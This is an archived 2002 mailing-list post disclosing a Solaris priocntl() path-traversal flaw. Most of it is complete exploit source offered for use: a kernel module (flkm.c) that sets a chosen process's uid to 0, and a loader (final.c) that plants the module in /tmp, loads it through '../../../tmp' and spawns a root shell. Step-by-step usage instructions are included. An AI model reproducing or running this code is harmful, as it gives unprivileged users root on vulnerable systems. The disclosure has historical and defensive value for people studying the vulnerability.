Solaris priocntl exploit

From: ÝþÒãÁˆ (kk_qqat_private)
Date: Tue Nov 26 2002 - 19:00:11 PST

  • Next message: dong-h0un U: "Remote Multiple Buffer Overflow(s) vulnerability in Libcgi-tuxbr."

    ** Moderator note:
    
    Messages with links to technical details outside of the message are not approved.  
    Because of the potential delay waiting for another submission, the original message
    has been modified to include the details.  
    
    Details follow:
    
    Solaris's Got Big problem on System Call priocntl()
    
    Description
    syscall priocntl(2) is used as process scheduler control
    it's declared as below:
    
    long priocntl(idtype_t idtype, id_t id, int cmd, /* arg */ ...);
    
    while set 'cmd' arg to PC_GETCID, priocntl()'s function is like below
    (see ManPage 'man -s 2 priocntl')
    "Get class ID and class attributes for a specific class
    given class name. The idtype and id arguments are
    ignored. If arg is non-null, it points to a structure
    of type pcinfo_t. The pc_clname buffer contains the
    name of the class whose attributes you are getting."
    
    as it said, pc_clname points to a string specify the module.
    priocntl() will load the module without any privilege check.
    The module's name is a relative path, priocntl will search the module file
    in only /kernel/sched and /usr/kernel/sched/ dirs.
    but unfortunately, priocntl() never check '../' in pc_clname arg
    we can use '../../../tmp/module' to make priocntl() load a module from anywhere
    
    For more detail, read the sources.
    flkm.c the module source
    final.c the loader source
    
    How to Use?
    
    1.Extract release.tgz to a folder
    2.use "isainfo -b" to know what platform is running
    3.under 32-bit solaris, execute "./final"
    under 64-bit solaris, execute "./final 64"
    
    Any Question?
    contact supportat_private
    
    ** End Moderator note 
    
    detailes on http://www.catdogsoft.com/S8EXP/
    
    --------flkm.c-----------------------------
    /*
     Writen By CatDog
     the module find the user's proccess's cred struct
     change it's owner uid to 0(root)
     this code can work properly in any conditions
    */
    #include <sys/systm.h>
    #include <sys/ddi.h>
    #include <sys/sunddi.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/kmem.h>
    #include <sys/errno.h>
    #include <sys/proc.h>
    #include <sys/user.h>
    #include <sys/thread.h>
    #include <sys/cred.h>
    #include <vm/as.h>
    #include <vm/seg.h>
    #include <vm/seg_vn.h>
    
    typedef unsigned int DWORD;
    
    DWORD   ptree[20]={0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,
                                     0xffffffff,0xffffffff,0xffffffff,
                                     0xffffffff,0xffffffff,0xffffffff,
                                     0xffffffff,0xffffffff,0xffffffff};
    /*
     * This is the loadable module wrapper.
     */
    #include <sys/modctl.h>
    
    int _info(struct modinfo *modinfop)
    {
        return -1;
    }
    
    int _init(void)
    {
        proc_t *current,*pp;
        pid_t rec;
        int i,cnt;
    
        for(i=0;ptree[i]!=0xffffffff;i++);
        cnt=i;
    
    cmn_err(CE_NOTE ,"Get Su: cnt=%d", cnt);
    
        current=curproc;
        while(current->p_pidp->pid_id!=0) current=current->p_parent;
    
        pp=current;
    
        for(i=0;i<cnt;i++) {
            pp=pp->p_child;
    cmn_err(CE_NOTE ,"Get Su: search pid=%d", ptree[i]);
            while(pp!=0)  {
                if(pp->p_pidp->pid_id==ptree[i])  break;
                pp=pp->p_sibling;
            }
            if(pp==0) goto ERR;
        }
    
        if(pp!=0) {
            pp->p_cred->cr_ruid=0;
            pp->p_cred->cr_uid=0;
            cmn_err(CE_NOTE ,"Get Su: %d", pp->p_pidp->pid_id);
            cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_ruid);
            cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_uid);
        }
    
    ERR:
        cmn_err(CE_NOTE ,"Get Su: not found");
        return -1;
    }
    
    
    
    --------end of flkm.c-----------------------
    
    
    --------final.c-----------------------------
    /*
     Writen By CatDog
     the module find the user's proccess's cred struct
     change it's owner uid to 0(root)
     this code can work properly in any conditions
    */
    
    #include <stdio.h>
    #include <sys/types.h>
    #include <procfs.h>
    #include <unistd.h>
    
    #include <errno.h>
    #include <sys/priocntl.h>
    #include <sys/rtpriocntl.h>
    #include <sys/tspriocntl.h>
    
    
    #define OFFSET 0x2dc
    #define OFFSET64 0x39c
    
    pid_t getpppid(pid_t pid)
    {
        	psinfo_t psinf;
        	int fd;
        	char buf[256];
        
        	sprintf(buf, "/proc/%d/psinfo", pid);
        	fd=open(buf,0);
    	if(fd!=-1) {
    		read(fd, &psinf, sizeof(psinfo_t));
    		close(fd);
        	}
    
    	return psinf.pr_ppid;
    }
    
    void Load(int m64)
    {
        pcinfo_t pcinfo;
        if(!m64)
        	strcpy(pcinfo.pc_clname, "../../../tmp/flkm32");
        if(m64)
        	strcpy(pcinfo.pc_clname, "../../../tmp/flkm64");
    
    	priocntl(0,getpid(),PC_GETCID,(caddr_t)&pcinfo);
    }
    
    main(int argc,char *argv[])
    {
    	pid_t pid;
    	pid_t ptree[20], *pptree;
    	int i,j,k;
    	int fd;
    	int m64=0;
    
    	if(argc==2) {
    		if(atoi(argv[1])==64) m64=1;
    	}
    
    	printf("is 64 bit: %d\n",m64);
    
    	pid=getpid();
    	memset(ptree, 0, 20*sizeof(pid_t));
    
    	ptree[0]=pid;
    	for(i=1;i<20;i++) {
    		pid=getpppid(pid);
    		if(pid==0) break;
    		ptree[i]=pid;
    	}
    	pptree=(pid_t *)malloc((i+1)*sizeof(pid_t));
    
    	k=0;
    	for(j=19;j>=0;j--) {
    		if(ptree[j]==0) continue;
    		//printf("%d %x\n", ptree[j], ptree[j]);
    		pptree[k]=ptree[j];
    		k++;
    	}
    	pptree[k]=0xffffffff;
    
    	if(!m64) system("cp -f flkm32 /tmp/flkm32");
    	if(m64) mkdir("/tmp/sparcv9",0777);
    	if(m64) system("cp -f flkm64 /tmp/sparcv9/flkm64");
    
    	if(!m64) fd=open("/tmp/flkm32",2);
    	if(m64)	fd=open("/tmp/sparcv9/flkm64",2);
    	
    	if(fd!=-1){
    		if(!m64) lseek(fd, OFFSET, SEEK_SET);
    		if(m64)	lseek(fd, OFFSET64, SEEK_SET);
    		printf("%d bytes to write\n", i*sizeof(pid_t));
    		k=write(fd, pptree, i*sizeof(pid_t));
    		printf("%d bytes wroten\n", k);
    		close(fd);
    	}else{
    		printf("err! open flkm error!\n");
    		exit(-1);
    	}
    	free(pptree);
    
    	Load(m64);
    	printf("id=%d\n", k=getuid());
    
    	if(!m64) {
    		system("rm -fr /tmp/flkm32");
    	}
    	if(m64) {
    		system("rm -fr /tmp/sparcv9");
    	}
    
    	if(k==0) {
    		printf("SUCCESS! Enjoy RootShell!\n");
    		execl("/bin/sh","sh",NULL);
    	}else{
    		printf("fail!\n");
    	}
    }
    
    
    --------end of final.c-------------------------
    University of Science and Technology of China
    



    This archive was generated by hypermail 2b30 : Sat Nov 30 2002 - 12:52:10 PST